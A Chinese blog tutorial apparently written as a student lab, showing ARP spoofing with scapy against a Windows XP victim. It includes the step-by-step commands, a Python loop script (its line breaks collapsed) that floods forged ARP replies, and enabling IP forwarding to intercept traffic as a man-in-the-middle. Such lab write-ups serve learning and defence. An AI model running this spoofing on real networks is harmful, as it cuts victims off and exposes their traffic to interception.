不知道为什么今天翻看csdn草稿箱发现在大一下写过这个没有发出来,也不知道为什么,忘了

文章目录

  • 实验环境
  • 实践

讲了那么理论知识,现在让我们来实践一下吧

实验环境

kali(欺骗方)–192.168.43.60 --00:0c:29:e1:76:5f
xp(受害者)–192.168.43.62-- 00-0C-29-AE-EB-6B
网关–192.168.43.1-- 88-f5-6e-f2-b5-73

需要用到的工具
scapy
wireshark
widlepacket(wireshark也可以,需要安装在xp上)

实践

由于arp欺骗可以把目标arp缓存里面任意一个非静态的IP绑定的MAC地址修改,所以这里我们就直接修改网关的MAC地址
首先查看一下xp虚拟机的arp缓存

进入scapy

scapy

查看我们需要配置的ARP数据包

 ARP().display()


可以修改的有
op= who-has
可以修改成1(who-has,arp请求包)2(i am at,arp回包用来告诉我们的mac地址)
hwsrc= 00:0c:29:e1:76:5f(来源mac)
psrc= 192.168.43.60(来源ip)
hwdst= 00:00:00:00:00:00(目标mac如果是请求包不需要修改,如果是回包需要设置)
pdst= 0.0.0.0(这个是一定要设置…不然谁知道你要发给谁…)

第一步,查询受害者的MAC地址

a=sr1(ARP(pdst="192.168.443.62"))

sr1()用来发送数据包,scapy里所有的数据包发送都需要用到这个函数,ARP()里面配置我们需要设置的选项,然后这个发送数据包的相应保存到a中

a.display()

查看回包

第二部,发送数据包欺骗受害者网关的MAC地址是我

a=sr1(ARP(pdst="192.168.43.62",hwdst="00:0c:29:ae:eb:6b",op=2,psrc="192.168.43.1"))

目标ip和目标mac地址是我们之前查询的,op修改为2,这是发送回复包,psrc修改成我们要欺骗成为的ip地址

为什么这个会有效呢?
这个也是跟ARP协议设定有关
ARP协议构想是比较好,你请求了,如果请求的是我,我就回包告诉你,这样看似不错而且安全,但实际上有很大的缺陷。

基于传闻的协议
没有请求的回复有效

如果你没有请求,我也发了个回复包,你看回复的IP是你,然后你就会去乖乖的对比本地的arp缓存,然后我发的是什么你就信任什么,这就为攻击者提供了很大的便利
所以在这里,不管受害者有没有请求要去查询ARP,我们发的is-at包他都会去接受并且相信,然后修改本地的ARP缓存
效果如下

注意:这个时候由于我们发的是is-at包,没有回包,所以scapy会卡在这里等待回报,我们看到finished sending就可以大胆ctrl+c结束掉,或者设置timeout即可

a=sr1(ARP(pdst="192.168.43.62",hwdst="00:0c:29:ae:eb:6b",op=2,psrc="192.168.43.1"),timeout=1)


第一次学的时候我以为到这就结束了,但实际上还没这么简单
大概过了一会,我们再去查看xp的arp缓存,发现
又恢复到以前了,这是为什么呢?

第一次is-at包就是我们欺骗的包,xp相信了并且修改了,可没过多久,讨厌的网关又自作多情,跑出来问,192.168.43.62你在哪,你跑了吗?接收到消息的受害者立马回复,于是乎二者更新了ARP缓存

所以ARP欺骗要注意的第一点就是
一定要持续发包
才可以淹没正常的网关ARP请求,防止中途又被碍事的网关缴获了

第三步,持续发包欺骗受害者
这里就需要用到脚本啦
简单的python小程序

vim test.py
#! /usr/bin/python
# -*- coding: utf-8 -*-
# create by azraelxuemoimport logging
import subprocess
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *if len(sys.argv)==1 or '-h' in sys.argv or '--help' in sys.argv:print "脚本的使用说明"print "这个脚本用来欺骗指定ip"print "-h --help 打印这份说明"print "-t 指定需要欺骗的目标"sys.exit()if '-t' in sys.argv:targetip=str(sys.argv[2])localmac=subprocess.check_output("ifconfig eth0 |grep 'ether'|cut -d 'r' -f 2|cut -d 't' -f 1",shell=True).strip()prefix=targetip.split('.')[0]+'.'+targetip.split('.')[1]+'.'+targetip.split('.')[2]+'.' fakeip=prefix+str(1)a1=sr1(ARP(pdst=targetip),verbose=0)targetmac=a1.hwdstwhile(1):answer=sr1(ARP(op=2,hwsrc=localmac,psrc=fakeip,pdst=targetip,hwdst=targetmac),timeout=1,verbose=0)try:if answer==None:print "正在arp欺骗"except:pass

赋予执行权限

chmod +x test.py
./test.py -t 192.168.43.62

可以看到,洪水般的is-at包
可以看到xp又被骗了

这个时候可以看到xp上不了网了
为什么呢?
xp这个憨憨以为网关是我们,就把包通通甩给了我们,但我们又不是网关,又不会帮他转发上网,所以xp就断网啦(这里dns的原因是xp并不知道baidu对应的 ip是多少,所以他先进行了dns查询)
由于我们没开转发,所以他连网关也ping不通,因为icmp是3层协议,是看IP回复,虽然他发给了我们,但由于IP不对,我们也无法回包

第四步,包转发
既然我们实现了arp欺骗了,并且可以获取到xp发送的数据包了,但由于xp不能正常上网,我们也截获不到有用的信息,所以我们现在就需要成为中间人,把xp上网的流量转发给网关,然后网关处理完了以后再返回给我们,这样有价值的信息就到我们手上啦

kali默认关闭转发功能

cat  /proc/sys/net/ipv4/ip_forward
0

开启转发

echo 1 >  /proc/sys/net/ipv4/ip_forward


这个时候可以看到我们的受害者ping通了网关

ARP协议详解(3)--arp欺骗相关推荐

  1. ARP协议详解之ARP动态与静态条目的生命周期

    ARP协议详解之ARP动态与静态条目的生命周期 ARP动态条目的生命周期 动态条目随时间推移自动添加和删除. q  每个动态ARP缓存条目默认的生命周期是两分钟.当超过两分钟,该条目会被删掉.所以,生 ...

  2. ARP协议详解以及arp攻击与防御

    目录 什么是ARP ? 为什么既要有IP地址又要有MAC地址? ARP协议属于网络层还是链路层? ARP帧格式 ARP协议工作原理 ARP命令和缓存表 代理ARP和免费ARP ARP协议攻击 ARP协 ...

  3. 网络-ARP协议详解与ARP欺骗(中毒)攻击实战

    目录 简介 ARP报文 ARP流程 四种情况 ARP请求 ARP响应 ARP攻击原理 实战 ARP欺骗 环境 查看arp表 更新攻击机软件 使用ettercap进行攻击 查看劫持到的图片 ARP攻击防 ...

  4. ARP协议详解,ARP协议执行原理、ARP协议如何根据IP地址寻找Mac地址?

    「作者主页」:士别三日wyx 「作者简介」:CSDN top200.阿里云博客专家.华为云享专家.网络安全领域优质创作者 ARP协议 一.什么是ARP协议 1. Mac地址 2. 网络层的数据 3. ...

  5. TCP/IP网络协议栈:ARP协议详解

    <TCP/IP网络协议栈:以太网数据包结构.802.3> <TCP/IP网络协议栈:ARP协议详解> <TCP / IP攻击:ARP缓存中毒的基本原理.TCP序列号预测和 ...

  6. ARP协议详解之Gratuitous ARP(免费ARP)

    ARP协议详解之Gratuitous ARP(免费ARP) Gratuitous ARP(免费ARP) Gratuitous ARP也称为免费ARP,无故ARP.Gratuitous ARP不同于一般 ...

  7. ARP协议详解:了解数据包转发与映射机制背后的原理

    数据来源 一.广播与广播域概述 1.广播与广播域         广播:将广播地址做为目标地址的数据帧         广播域:网络中能接收到同一个广播所有节点的集合(广播域越小越好,收到的垃圾广播越 ...

  8. ARP协议详解,小白易懂

    当网络设备有数据要发送给另一台网络设备时,必须要知道对方的网络层地址(即IP地址).IP地址由网络层来提供,但是仅有IP地址是不够的,IP数据报文必须封装成帧才能通过数据链路进行发送.数据帧必须要包含 ...

  9. TCP/IP协议基本概括+ARP协议详解+DNS协议详解---Linux学习笔记

    TCP/IP协议的体系结构: TCP/IP协议族四层模型和OSI七层模型 上层协议使用下层协议的服务,下层协议给上层协议提供一个接口. 四层模型中各个层次的作用和特点 上图说明: 最底层是数据链路层, ...

最新文章

  1. Udacity机器人软件工程师课程笔记(九)-ROS-Catkin包、工作空间和目录结构
  2. springboot怎么写上传头像接口?
  3. Apple-Watch开发2 APPIcon设置
  4. 生物反应器:生物过程工程的动物细胞培养控制 Bioreactors : animal cell culture control for bioprocess engineering 英文原版
  5. 丑憨批的爬虫笔记5信息标记与提取
  6. poi 默认2位小数_odoo小数精确度
  7. cp: omitting directory解决方案
  8. java 执行顺序_Java代码执行顺序
  9. 面试题之Java内存区域
  10. CCF201512-2 消除类游戏
  11. pyton 编写脚本检测两台主机之间的通信状态,异常邮件通知
  12. android adb login,adb
  13. STM32-面试题及答案
  14. MATLAB实现红眼消除(数字图像处理)
  15. 最简单的无线充电传输电路
  16. springboot集成graphql(一)
  17. java操作jacoco
  18. 排列组合常见解题方法
  19. Python paromiko每日生活学习感悟(第一次写,紧张hahaha)
  20. ctf 杂项 猜 writeup

热门文章

  1. M - windy数
  2. 有鱼上钩!修改游戏数据前的准备
  3. 一个有意思的echarts3D树状图
  4. MFC DLL 不能正确调用的问题 + AFX_MANAGE_STATE(AfxGetStaticModuleState());
  5. 关于Open函数的newline参数
  6. 四川省知识产权贯标申报好处条件、材料
  7. 福清龙华职业中专计算机应用学校什么,福建省福清龙华职业中专学校招生专业|福建省福清龙华职业中专学校有哪些专业...
  8. 数字通信计算机仿真课程总结,最新燕山大学数字通信计算机仿真课程设计报告模板.docx...
  9. 儿童护眼灯怎么选?国家质检合格的儿童护眼灯
  10. MUI-grid(栅格),超小屏xs和小屏幕sm